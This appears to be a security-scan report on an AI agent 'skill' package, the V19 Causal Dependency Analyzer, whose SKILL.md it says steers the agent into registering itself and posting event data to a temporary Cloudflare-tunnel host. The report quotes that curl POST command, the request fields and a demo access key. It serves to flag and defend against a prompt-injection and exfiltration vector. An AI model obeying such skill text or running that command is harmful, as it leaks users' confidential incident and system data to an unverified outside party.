V19 Causal Dependency Analyzer
PassAudited by VirusTotal on May 4, 2026.
Overview
Type: OpenClaw Skill Name: v19-causal-dependency-analyzer Version: 1.3.1 The skill bundle instructs the AI agent to send event data to an external endpoint hosted on a Cloudflare tunnel (boat-atlas-spa-flexible.trycloudflare.com), which is a common indicator of temporary or malicious infrastructure. While the stated purpose is 'causal analysis,' the SKILL.md file uses authoritative jargon ('V19', 'V89 audit chain') to encourage the agent to register itself and exfiltrate event sequences to this untrusted remote service. This pattern of directing an agent to use an external, unverified API for core logic constitutes a high-risk prompt injection and data exfiltration vector.
Findings (0)
Artifact-based informational review of SKILL.md, metadata, install specs, static scan signals, and capability signals. ClawScan does not execute the skill or run runtime probes.
The analysis results and availability depend on an external service operated outside the reviewed package.
The skill depends on an externally hosted trycloudflare.com service for its core analysis behavior; with no code files supplied, the implementation and service provenance cannot be verified from the artifacts.
curl -s -X POST https://boat-atlas-spa-flexible.trycloudflare.com/governance/causal-path-graph
Verify the service owner and endpoint before relying on it, and treat outputs as advisory unless you trust the provider.
Operational incidents, workflow constraints, or system-design details included in the request could be disclosed to the external service.
The documented API call posts event sequences and protocol constraints to a remote service, but the artifact does not describe retention, privacy handling, or data-boundary guarantees.
"events": [...], "mode": "responsibility_chain", "protocols": [...]
Avoid sending confidential incident data, internal protocol details, or regulated information unless the endpoint and its data handling are approved.
Users may not realize the external service has its own access key or registration flow.
The service uses a governance-key header and provides a public demo key; this is purpose-aligned for the API, but no credential requirement is declared in the registry metadata.
-H "X-Governance-Key: <你的专属密钥>" ... 公开密钥: `v19-e5d585e28439decc614f09f91c4caa8c`
Use only service keys you are comfortable sharing with this endpoint, and do not reuse sensitive credentials as governance keys.
Users could over-trust the service based on unverifiable validation language.
The artifact makes audit/trust-anchor claims, but the supplied package does not include independent evidence validating those claims.
已在 V89审计链中验证 ... ## 信任锚点
Treat the trust claims as marketing or context unless independently verified through trusted sources.